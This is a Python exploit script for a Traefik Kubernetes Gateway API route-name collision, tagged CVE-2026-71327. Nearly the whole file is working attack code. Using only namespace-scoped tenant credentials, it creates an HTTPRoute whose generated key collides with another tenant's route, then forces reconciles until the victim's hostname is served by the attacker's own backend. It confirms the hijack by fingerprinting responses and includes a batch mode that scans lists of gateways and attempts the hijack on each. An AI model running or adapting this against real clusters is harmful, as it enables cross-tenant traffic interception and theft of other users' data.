...[ More ]

#!/usr/bin/env python3
    """
    CVE-2026-71327 - Traefik Kubernetes Gateway API route identity collision
    Affected: Traefik 3.0.0 - 3.6.24 and 3.7.0 - 3.7.9 (fixed in 3.6.25 / 3.7.10)
    Type: Authorization bypass / cross-tenant traffic hijack (CWE-694)
    
    Traefik's Kubernetes Gateway API provider names the dynamic-configuration objects it
    generates by hyphen-joining identity fields. Kubernetes namespace and object names are
    DNS-1123 labels and may themselves contain hyphens, so the join is not injective: two
    different (namespace, name) pairs can produce one identical key. The generated maps are
    merged last-writer-wins, so a tenant who can create a Route in a namespace whose name
    collides with a victim's identity silently repoints the victim's traffic at their own pods.
    
    Two collision surfaces exist in the vulnerable releases, both implemented here:
    
      backend mode (default) - the concrete load balancer is named
          Normalize("<backend ns>-<backend name>-http") + "-" + <port>
        from the backend alone, with no route scoping. Namespace "team-victim" + Service "svc"
        on port 80 produces the same key as namespace "team" + Service "victim-svc" on port 80.
        The attacker's Route keeps its own hostname; the victim's own router resolves through
        the overwritten key. Nothing about the victim's routing rule needs to be known.
    
      router mode - the router key is
          Normalize("httproute-<ns>-<name>-gw-<gw ns>-<gw name>-ep-<entrypoint>-<rule index>")
        plus a SHA-256 suffix taken over the match rule only. Namespace "team-a" + Route "app"
        collides with namespace "team" + Route "a-app". Because the hash covers the rule and
        not the identity, the attacker must also copy the victim's hostname and path match for
        the suffix to line up, after which the whole router object is replaced.
    
    The exploit needs namespace-scoped Kubernetes credentials (CVSS PR:L): create/patch/delete
    on httproutes in one namespace, nothing else. It needs no access to the victim namespace,
    no access to the Gateway object and no cluster-wide read.
    
    The winner of the overwrite is decided by client-go map iteration order and re-rolls on
    every provider reconcile, so the exploit polls and forces fresh reconciles until it lands.
    
    Usage:
      python exploit.py --host <gateway> --port 80 \
          --k8s-api https://10.0.0.1:6443 --token-file tenant.token \
          --victim-host app.corp.com --victim-namespace team --victim-service victim-svc \
          --namespace team-victim --backend-service svc
    
      python exploit.py --host https://gw.corp.com --victim-host app.corp.com \
          --k8s-api https://10.0.0.1:6443 --token-file tenant.token \
          --victim-namespace team --victim-service victim-svc \
          --namespace team-victim --backend-service svc --marker "pwned"
    
      # router-identity variant (copies the victim's rule, replaces the whole router)
      python exploit.py --host <gateway> --mode router \
          --k8s-api https://10.0.0.1:6443 --token-file tenant.token \
          --victim-host app.corp.com --victim-namespace team --victim-name a-app \
          --namespace team-a --route-name app --backend-service attacker-svc
    
      # passive fleet check: each line is an exposed Traefik API endpoint, checked for the
      # affected version and the collidable naming scheme
      python exploit.py --list targets.txt --api-port 8080 --workers 20
    
      # full fleet exploitation: add the tenant credentials and victim identity, and each
      # line is then a gateway entry point that gets the real hijack attempt
      python exploit.py --list gateways.txt --k8s-api https://10.0.0.1:6443 \
          --token-file tenant.token --victim-host app.corp.com \
          --victim-namespace team --victim-service victim-svc \
          --namespace team-victim --backend-service svc
    """
    
    import argparse
    import json
    import re
    import secrets
    import ssl
    import sys
    import time
    import http.client
    from urllib.parse import urlparse
    
    CVE_ID    = "CVE-2026-71327"
    VULN_TYPE = "Authorization Bypass (cross-tenant route identity collision)"
    
    # Releases carrying the non-injective identifier construction.
    VULN_RANGES = (((3, 0, 0), (3, 6, 25)), ((3, 7, 0), (3, 7, 10)))
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------------------
    # transport
    # ---------------------------------------------------------------------------
    
    def _http(host, port, use_tls, method, path, headers=None, body=None,
              timeout=10.0, verify=False, host_header=None):
        """One HTTP(S) request. Returns (status, headers dict, body bytes)."""
        hdrs = dict(headers or {})
        if host_header:
            hdrs["Host"] = host_header
        hdrs.setdefault("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) "
                                      "AppleWebKit/537.36 (KHTML, like Gecko) "
                                      "Chrome/126.0.0.0 Safari/537.36")
        hdrs.setdefault("Accept", "*/*")
        hdrs.setdefault("Connection", "close")
    
        if use_tls:
            ctx = ssl.create_default_context()
            if not verify:
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
            conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
        else:
            conn = http.client.HTTPConnection(host, port, timeout=timeout)
        try:
            conn.request(method, path, body=body, headers=hdrs)
            resp = conn.getresponse()
            data = resp.read()
            return resp.status, dict(resp.getheaders()), data
        finally:
            try:
                conn.close()
            except Exception:
                pass
    
    
    class K8sClient:
        """Minimal Kubernetes API client: bearer token, JSON in, JSON out."""
    
        def __init__(self, api_url, token, timeout=15.0, verify=False):
            p = urlparse(api_url if "://" in api_url else "https://" + api_url)
            self.tls = p.scheme != "http"
            self.host = p.hostname
            self.port = p.port or (443 if self.tls else 80)
            self.token = token
            self.timeout = timeout
            self.verify = verify
    
        def request(self, method, path, payload=None, content_type="application/json"):
            body = json.dumps(payload).encode() if payload is not None else None
            hdrs = {"Authorization": "Bearer " + self.token, "Accept": "application/json"}
            if body is not None:
                hdrs["Content-Type"] = content_type
            st, _, data = _http(self.host, self.port, self.tls, method, path,
                                headers=hdrs, body=body, timeout=self.timeout,
                                verify=self.verify)
            try:
                parsed = json.loads(data) if data else {}
            except ValueError:
                parsed = {"raw": data[:500].decode("utf-8", "replace")}
            return st, parsed
    
        def routes_path(self, namespace, name=None):
            base = f"/apis/gateway.networking.k8s.io/v1/namespaces/{namespace}/httproutes"
            return base + ("/" + name if name else "")
    
        def create_route(self, namespace, manifest):
            return self.request("POST", self.routes_path(namespace), manifest)
    
        def patch_route(self, namespace, name, patch):
            return self.request("PATCH", self.routes_path(namespace, name), patch,
                                content_type="application/merge-patch+json")
    
        def delete_route(self, namespace, name):
            return self.request("DELETE", self.routes_path(namespace, name))
    
        def get_route(self, namespace, name):
            return self.request("GET", self.routes_path(namespace, name))
    
    
    # ---------------------------------------------------------------------------
    # identity arithmetic - the bug itself, reimplemented client side
    # ---------------------------------------------------------------------------
    
    def normalize(name: str) -> str:
        """Port of traefik's provider.Normalize: split on non-alphanumeric runs, join with '-'."""
        return "-".join(p for p in re.split(r"[^0-9A-Za-z]+", name) if p)
    
    
    def backend_service_key(namespace: str, service: str, port: int) -> str:
        """loadService's generated name for a concrete backend in the vulnerable releases."""
        return normalize(normalize(f"{namespace}-{service}-http") + f"-{port}")
    
    
    def route_identity_key(namespace, name, gw_namespace, gw_name, entrypoint, rule_index):
        """The ambiguous routeKey the vulnerable provider builds per rule."""
        return normalize(
            f"httproute-{namespace}-{name}-gw-{gw_namespace}-{gw_name}-ep-{entrypoint}-{rule_index}"
        )
    
    
    def parse_version(text: str):
        m = re.search(r"(\d+)\.(\d+)\.(\d+)", text or "")
        return tuple(int(g) for g in m.groups()) if m else None
    
    
    def version_is_vulnerable(ver):
        return any(lo <= ver < hi for lo, hi in VULN_RANGES) if ver else False
    
    
    # ---------------------------------------------------------------------------
    # route manifests
    # ---------------------------------------------------------------------------
    
    def build_route(name, namespace, hostnames, path, backend_service, backend_port,
                    gw_name, gw_namespace, gw_section):
        parent = {"name": gw_name, "namespace": gw_namespace}
        if gw_section:
            parent["sectionName"] = gw_section
        return {
            "apiVersion": "gateway.networking.k8s.io/v1",
            "kind": "HTTPRoute",
            "metadata": {"name": name, "namespace": namespace},
            "spec": {
                "parentRefs": [parent],
                "hostnames": hostnames,
                "rules": [{
                    "matches": [{"path": {"type": "PathPrefix", "value": path}}],
                    "backendRefs": [{"name": backend_service, "port": backend_port}],
                }],
            },
        }
    
    
    # ---------------------------------------------------------------------------
    # backend identification over the network
    # ---------------------------------------------------------------------------
    
    def _fetch(host, port, use_tls, path, host_header, timeout, verify):
        return _http(host, port, use_tls, "GET", path, timeout=timeout,
                     verify=verify, host_header=host_header)
    
    
    def stable_fingerprint(host, port, use_tls, path, host_header, timeout, verify, samples=3):
        """
        Lines the victim's backend returns identically across several requests.
    
        Volatile fields (request counters, timestamps, client port) drop out of the
        intersection, so what survives identifies the backend rather than the request.
        """
        seen = None
        last = b""
        for i in range(samples):
            st, _, body = _fetch(host, port, use_tls, path, host_header, timeout, verify)
            if st is None:
                continue
            last = body
            lines = set(body.decode("utf-8", "replace").splitlines())
            seen = lines if seen is None else (seen & lines)
            if i + 1 < samples:
                time.sleep(0.3)
        return (seen or set()), last
    
    
    def looks_hijacked(body_bytes, baseline_lines, marker):
        """
        Network-observable decision: is this response coming from a different backend?
    
        With --marker, the operator's own backend signature must appear in the body. Without
        one, the response must have lost lines that the victim's backend returned on every
        baseline sample.
        """
        text = body_bytes.decode("utf-8", "replace")
        if marker:
            return marker in text
        if not baseline_lines:
            return False
        lines = set(text.splitlines())
        return bool(baseline_lines - lines)
    
    
    # ---------------------------------------------------------------------------
    # corroboration via an exposed Traefik API (optional, never required)
    # ---------------------------------------------------------------------------
    
    def traefik_api(host, api_port, use_tls, path, timeout=6.0, verify=False):
        try:
            st, _, body = _http(host, api_port, use_tls, "GET", path,
                                timeout=timeout, verify=verify)
            if st != 200:
                return None
            return json.loads(body)
        except Exception:
            return None
    
    
    ROUTE_KINDS = r"(?:httproute|grpcroute|tcproute|tlsroute)"
    
    
    def classify_service_names(names):
        """
        Split generated Gateway API service names into patched-style and vulnerable-style.
    
        Patched builds scope the concrete load balancer under the unique router name:
            <kind>-<...>-<20 hex>-svc-<backend ns>-<backend name>-<index>
        Vulnerable builds derive it from the backend identity alone:
            <backend ns>-<backend name>-http-<port>
    
        Matching on "-svc-" alone is not enough: a Service legitimately named "victim-svc"
        puts that substring inside the vulnerable form too ("team-victim-svc-http-80").
        The route-kind prefix is what actually separates the two shapes.
        """
        patched, vulnerable = [], []
        for raw in names:
            n = raw.split("@")[0]
            if re.match(r"^" + ROUTE_KINDS + r"-", n) and "-svc-" in n:
                patched.append(raw)
            elif re.search(r"-(?:http|https)-\d+$", n):
                vulnerable.append(raw)
        return patched, vulnerable
    
    
    def api_fingerprint(host, api_port, use_tls, timeout=6.0, verify=False):
        """
        Passive exploitability check against an exposed Traefik API.
    
        Returns (verdict, evidence). The reported version is the primary signal; the shape of
        the generated backend service names corroborates it and catches backported fixes.
        """
        ver_doc = traefik_api(host, api_port, use_tls, "/api/version", timeout, verify)
        if ver_doc is None:
            return None, "Traefik API not reachable"
    
        ver = parse_version(ver_doc.get("Version", ""))
        ver_s = ver_doc.get("Version", "unknown")
        services = traefik_api(host, api_port, use_tls, "/api/http/services", timeout, verify) or []
        gw = [s.get("name", "") for s in services if "@kubernetesgateway" in s.get("name", "")]
        patched_names, vuln_names = classify_service_names(gw)
    
        if not version_is_vulnerable(ver):
            return False, f"Traefik {ver_s} is outside the affected ranges"
        if patched_names:
            return False, (f"Traefik {ver_s} reports an affected version but generated names are "
                           f"router-scoped, so the fix is present (e.g. {patched_names[0]})")
        if vuln_names:
            return True, (f"Traefik {ver_s} vulnerable, {len(vuln_names)} Gateway API backend "
                          f"service(s) using the collidable naming scheme "
                          f"(e.g. {vuln_names[0]})")
        if gw:
            return True, f"Traefik {ver_s} vulnerable, {len(gw)} Gateway API service(s) loaded"
        return True, f"Traefik {ver_s} vulnerable, no Gateway API routes currently loaded"
    
    
    # ---------------------------------------------------------------------------
    # core exploit
    # ---------------------------------------------------------------------------
    
    def _run_attack(host, port, use_tls, path, opts, emit=None):
        """
        Plant the colliding Route and poll for the hijack.
    
        Returns (success, evidence, detail). Prints only through `emit`, which the scan path
        leaves as None. Always removes the Route it created unless told otherwise.
        """
        def say(fn, *a):
            if emit:
                fn(*a)
    
        timeout = opts["timeout"]
        verify = opts["verify"]
        marker = opts["marker"]
        victim_host = opts["victim_host"]
    
        # Per-invocation, not per-process: --list runs these concurrently and a shared name
        # would make one target's Route collide with another's (and would leave a stale name
        # behind if a cleanup ever failed). Router mode pins the name, since the collision
        # arithmetic dictates it.
        nonce = secrets.token_hex(4)
        route_name = opts["route_name"] or f"route-{nonce}"
        attacker_host = opts["attacker_host"] or f"svc-{nonce}.internal"
    
        # 1. Baseline. Whatever answers the victim's hostname now is what we must displace.
        say(step, 1, f"Fingerprinting the backend that currently answers Host: {victim_host}")
        baseline_lines, baseline_body = stable_fingerprint(
            host, port, use_tls, path, victim_host, timeout, verify)
        if not baseline_body:
            return False, f"no response for Host: {victim_host} at {host}:{port}", ""
        say(section, "BASELINE RESPONSE (victim backend)",
            baseline_body.decode("utf-8", "replace")[:800])
    
        # 2. Collision arithmetic, asserted before anything is created. A typo here would
        #    produce a clean-looking negative that means nothing.
        if opts["mode"] == "backend":
            victim_key = backend_service_key(opts["victim_namespace"], opts["victim_service"],
                                             opts["victim_port"])
            our_key = backend_service_key(opts["namespace"], opts["backend_service"],
                                          opts["backend_port"])
            label = "generated backend service key"
        else:
            victim_key = route_identity_key(opts["victim_namespace"], opts["victim_name"],
                                            opts["gw_namespace"], opts["gw_name"],
                                            opts["entrypoint"], opts["rule_index"])
            our_key = route_identity_key(opts["namespace"], route_name,
                                         opts["gw_namespace"], opts["gw_name"],
                                         opts["entrypoint"], opts["rule_index"])
            label = "generated route identity key"
    
        say(step, 2, f"Checking the {label} collides")
        say(section, "IDENTITY COLLISION",
            f"victim   {opts['victim_namespace']}/"
            f"{opts['victim_service'] if opts['mode'] == 'backend' else opts['victim_name']}"
            f"  ->  {victim_key}\n"
            f"ours     {opts['namespace']}/"
            f"{opts['backend_service'] if opts['mode'] == 'backend' else route_name}"
            f"  ->  {our_key}\n"
            f"collide  {victim_key == our_key}")
        if victim_key != our_key:
            return (False,
                    f"keys do not collide ({our_key} != {victim_key}) - pick a namespace/name "
                    f"whose hyphen-join reproduces the victim's",
                    "")
    
        # 3. Tenant credentials. Namespace-scoped only; this is the whole privilege requirement.
        k8s = K8sClient(opts["k8s_api"], opts["token"], timeout=timeout, verify=verify)
        say(step, 3, f"Authenticating to the Kubernetes API as a tenant of {opts['namespace']}")
        st, doc = k8s.request("GET", k8s.routes_path(opts["namespace"]))
        if st != 200:
            return False, f"tenant cannot list httproutes in {opts['namespace']} (HTTP {st})", ""
        st_v, _ = k8s.request("GET", k8s.routes_path(opts["victim_namespace"]))
        say(section, "TENANT PRIVILEGE",
            f"list httproutes in {opts['namespace']}        -> HTTP {st} "
            f"({len(doc.get('items', []))} existing)\n"
            f"list httproutes in {opts['victim_namespace']} -> HTTP {st_v} "
            f"{'(no access to the victim namespace, as expected)' if st_v == 403 else ''}")
    
        # 4. Plant the colliding Route.
        if opts["mode"] == "backend":
            hostnames = [attacker_host]
            rule_path = "/"
        else:
            # The router key's hash covers the match rule, so it has to be reproduced exactly.
            hostnames = [victim_host]
            rule_path = opts["victim_path"]
    
        manifest = build_route(route_name, opts["namespace"], hostnames, rule_path,
                               opts["backend_service"], opts["backend_port"],
                               opts["gw_name"], opts["gw_namespace"], opts["gw_section"])
        say(step, 4, f"Creating HTTPRoute {opts['namespace']}/{route_name} "
                     f"-> {opts['backend_service']}:{opts['backend_port']}")
        st, doc = k8s.create_route(opts["namespace"], manifest)
        if st not in (200, 201):
            if st == 409:
                return False, f"HTTPRoute {route_name} already exists in {opts['namespace']}", ""
            return False, f"could not create HTTPRoute (HTTP {st}: {doc.get('message', '')[:120]})", ""
        created = True
        say(section, "ROUTE PLANTED", json.dumps({
            "namespace": opts["namespace"], "name": route_name,
            "hostnames": hostnames, "backendRefs": f"{opts['backend_service']}:{opts['backend_port']}",
            "parentRefs": f"{opts['gw_namespace']}/{opts['gw_name']}"
            + (f" (listener {opts['gw_section']})" if opts["gw_section"] else ""),
            "collides_on": victim_key,
        }, indent=2))
    
        success, evidence, detail = False, "", ""
        try:
            # 5. Poll. The overwrite winner re-rolls on every reconcile, so keep forcing
            #    reconciles and keep asking the gateway who answers the victim's hostname.
            say(step, 5, f"Polling Host: {victim_host} for the hijack "
                         f"({opts['attempts']} attempts, {opts['interval']}s apart)")
            for attempt in range(1, opts["attempts"] + 1):
                time.sleep(opts["interval"])
                try:
                    st_r, _, body = _fetch(host, port, use_tls, path, victim_host, timeout, verify)
                except Exception as exc:
                    say(print, f"  attempt {attempt}: probe error ({exc.__class__.__name__})")
                    continue
    
                if st_r == 200 and looks_hijacked(body, baseline_lines, marker):
                    text = body.decode("utf-8", "replace")
                    say(print, f"  attempt {attempt}: backend changed")
                    say(section, f"HIJACKED RESPONSE (Host: {victim_host})", text[:800])
    
                    # Capture the corroborating maps in the same iteration: the roll can
                    # flip back on the next reconcile.
                    if opts["api_port"]:
                        services = traefik_api(host, opts["api_port"], use_tls,
                                               "/api/http/services", timeout, verify)
                        if services:
                            rows = [f"{s.get('name')}  ->  "
                                    f"{s.get('loadBalancer', {}).get('servers') or s.get('weighted', {}).get('services')}"
                                    for s in services if "@kubernetesgateway" in s.get("name", "")]
                            if rows:
                                say(section, "TRAEFIK SERVICE MAP AT HIJACK", "\n".join(rows))
                                detail = "\n".join(rows)
    
                        # Router count is the decisive signal in router mode: two Routes are
                        # attached, so two routers must exist. One means the keys collided
                        # and one Route's object replaced the other's.
                        routers = traefik_api(host, opts["api_port"], use_tls,
                                              "/api/http/routers", timeout, verify)
                        if routers:
                            rrows = [f"{r.get('name')}  rule={r.get('rule')}  "
                                     f"service={r.get('service')}"
                                     for r in routers if "@kubernetesgateway" in r.get("name", "")]
                            if rrows:
                                say(section,
                                    f"TRAEFIK ROUTER MAP AT HIJACK ({len(rrows)} gateway routers)",
                                    "\n".join(rrows))
    
                    first = next((l for l in text.splitlines() if l.strip()), "")
                    success = True
                    evidence = (f"Host: {victim_host} answered by our backend "
                                f"{opts['namespace']}/{opts['backend_service']} after "
                                f"{attempt} poll(s) - response begins '{first.strip()[:80]}'")
                    break
    
                say(print, f"  attempt {attempt}: still the victim's backend, forcing a reconcile")
                # Touching our own Route re-rolls the map iteration order. Respect the
                # provider throttle: bursts inside one window collapse into a single reload.
                k8s.patch_route(opts["namespace"], route_name,
                                {"metadata": {"annotations":
                                              {"sync.local/generation": str(attempt)}}})
    
            if not success:
                evidence = (f"planted a colliding Route but Host: {victim_host} was still served "
                            f"by the original backend after {opts['attempts']} reconciles - "
                            f"target appears patched")
        except KeyboardInterrupt:
            evidence = "interrupted"
        finally:
            if created and opts["cleanup"]:
                st_d, _ = k8s.delete_route(opts["namespace"], route_name)
                say(step, 6, f"Removing HTTPRoute {opts['namespace']}/{route_name} "
                             f"(HTTP {st_d})")
    
        return success, evidence, detail
    
    
    def _try_exploit(host, port, use_tls, path="/", opts=None):
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
        opts = opts or {}
        try:
            if opts.get("k8s_api") and opts.get("token") and opts.get("victim_host"):
                ok, evidence, _ = _run_attack(host, port, use_tls, path, opts, emit=None)
                return ok, evidence
            # No tenant credentials for this target: fall back to the passive API fingerprint.
            # Here each line names a Traefik API endpoint, so the port on the line is the one
            # to query; --api-port only supplies the default for lines that carry no port.
            verdict, evidence = api_fingerprint(host, port, use_tls,
                                                opts.get("timeout", 6.0),
                                                opts.get("verify", False))
            if verdict is None:
                return False, evidence
            return verdict, evidence
        except Exception as exc:
            return False, f"unreachable ({exc.__class__.__name__})"
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, opts=None) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, path, opts)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploitable' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploitable / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    def exploit(host, port, use_tls, path, opts) -> None:
        header(host, port)
    
        missing = [k for k in ("k8s_api", "token", "victim_host") if not opts.get(k)]
        if missing:
            flags = {"k8s_api": "--k8s-api", "token": "--token/--token-file",
                     "victim_host": "--victim-host"}
            done(False, "missing required arguments: "
                        + ", ".join(flags[m] for m in missing)
                        + " (the hijack is planted through the Kubernetes API)")
    
        if opts["mode"] == "backend" and not (opts["victim_service"] and opts["backend_service"]):
            done(False, "backend mode needs --victim-service and --backend-service")
        if opts["mode"] == "router" and not (opts["victim_name"] and opts["route_name"]):
            done(False, "router mode needs --victim-name and --route-name")
    
        success, evidence, _ = _run_attack(host, port, use_tls, path, opts, emit=True)
        done(success, evidence)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            description=f"{CVE_ID} - Traefik Gateway API cross-tenant route identity collision")
    
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Gateway entry point: hostname, IP or full URL")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
    
        parser.add_argument("--port", type=int, default=80,
                            help="Gateway entry point port (default: 80)")
        parser.add_argument("--path", default="/", help="Request path to probe (default: /)")
        parser.add_argument("--api-port", type=int, default=8080,
                            help="Traefik API port for corroboration and scan fingerprinting "
                                 "(default: 8080; 0 disables)")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
    
        kube = parser.add_argument_group("Kubernetes tenant access (CVSS PR:L)")
        kube.add_argument("--k8s-api", help="Kubernetes API server URL, e.g. https://10.0.0.1:6443")
        kube.add_argument("--token", help="Tenant ServiceAccount bearer token")
        kube.add_argument("--token-file", help="File holding the bearer token (avoids the "
                                               "process list)")
    
        vic = parser.add_argument_group("Victim identity (what to hijack)")
        vic.add_argument("--victim-host", help="Hostname the victim application is served on")
        vic.add_argument("--victim-namespace", help="Namespace the victim Route/Service lives in")
        vic.add_argument("--victim-service", help="Victim Service name (backend mode)")
        vic.add_argument("--victim-port", type=int, default=80,
                         help="Victim Service port (default: 80)")
        vic.add_argument("--victim-name", help="Victim HTTPRoute name (router mode)")
        vic.add_argument("--victim-path", default="/",
                         help="Victim's PathPrefix match, copied in router mode (default: /)")
    
        atk = parser.add_argument_group("Attacker position (the colliding namespace)")
        atk.add_argument("--namespace", help="Namespace we control, chosen so its hyphen-join "
                                             "reproduces the victim's key")
        atk.add_argument("--backend-service", help="Our Service, receiving the hijacked traffic")
        atk.add_argument("--backend-port", type=int, default=80,
                         help="Our Service port (default: 80)")
        atk.add_argument("--route-name", help="Name for the HTTPRoute we create "
                                              "(default: random; dictated by the collision in "
                                              "router mode)")
        atk.add_argument("--attacker-host", help="Hostname on our own Route in backend mode "
                                                 "(default: random, deliberately not the "
                                                 "victim's)")
        atk.add_argument("--mode", choices=("backend", "router"), default="backend",
                         help="Collision surface: backend service key (no rule copying) or "
                              "router identity key (copies the victim's rule) (default: backend)")
    
        gw = parser.add_argument_group("Shared Gateway")
        gw.add_argument("--gateway-name", default="shared", help="Gateway name (default: shared)")
        gw.add_argument("--gateway-namespace", default="default",
                        help="Gateway namespace (default: default)")
        gw.add_argument("--gateway-section", default="web",
                        help="Gateway listener sectionName (default: web)")
        gw.add_argument("--entrypoint", default="web",
                        help="Traefik entry point name behind that listener (default: web)")
        gw.add_argument("--rule-index", type=int, default=0,
                        help="Rule index used in the identity key (default: 0)")
    
        run = parser.add_argument_group("Run control")
        run.add_argument("--marker", help="String our backend returns, asserted in the hijacked "
                                          "response; without it, any change from the victim's "
                                          "baseline counts")
        run.add_argument("--attempts", type=int, default=20,
                         help="Reconcile rolls to wait for (default: 20)")
        run.add_argument("--interval", type=float, default=3.0,
                         help="Seconds between polls; keep above the provider throttle "
                              "(default: 3.0)")
        run.add_argument("--timeout", type=float, default=10.0,
                         help="Per-request timeout (default: 10.0)")
        run.add_argument("--verify-tls", action="store_true",
                         help="Verify TLS certificates (off by default: clusters use private CAs)")
        run.add_argument("--no-cleanup", action="store_true",
                         help="Leave the planted Route in place")
    
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    
        args = parser.parse_args()
    
        token = args.token
        if args.token_file:
            with open(args.token_file) as fh:
                token = fh.read().strip()
    
        opts = {
            "k8s_api": args.k8s_api, "token": token,
            "victim_host": args.victim_host, "victim_namespace": args.victim_namespace,
            "victim_service": args.victim_service, "victim_port": args.victim_port,
            "victim_name": args.victim_name, "victim_path": args.victim_path,
            "namespace": args.namespace, "backend_service": args.backend_service,
            "backend_port": args.backend_port,
            # Left as None when unset: _run_attack mints a fresh name per attempt, so
            # concurrent --list targets never fight over one Route name.
            "route_name": args.route_name,
            "attacker_host": args.attacker_host,
            "mode": args.mode,
            "gw_name": args.gateway_name, "gw_namespace": args.gateway_namespace,
            "gw_section": args.gateway_section, "entrypoint": args.entrypoint,
            "rule_index": args.rule_index,
            "marker": args.marker, "attempts": args.attempts, "interval": args.interval,
            "timeout": args.timeout, "verify": args.verify_tls,
            "cleanup": not args.no_cleanup,
            "api_port": args.api_port or None,
        }
    
        if args.list:
            # With tenant credentials each line is a gateway entry point; without them the
            # passive check queries Traefik's API, so unported lines default to --api-port.
            full_attack = bool(opts["k8s_api"] and opts["token"] and opts["victim_host"])
            scan(args.list,
                 default_port=args.port if full_attack else (args.api_port or args.port),
                 workers=args.workers, opts=opts)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.path != "/":
                path = args.path
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, opts)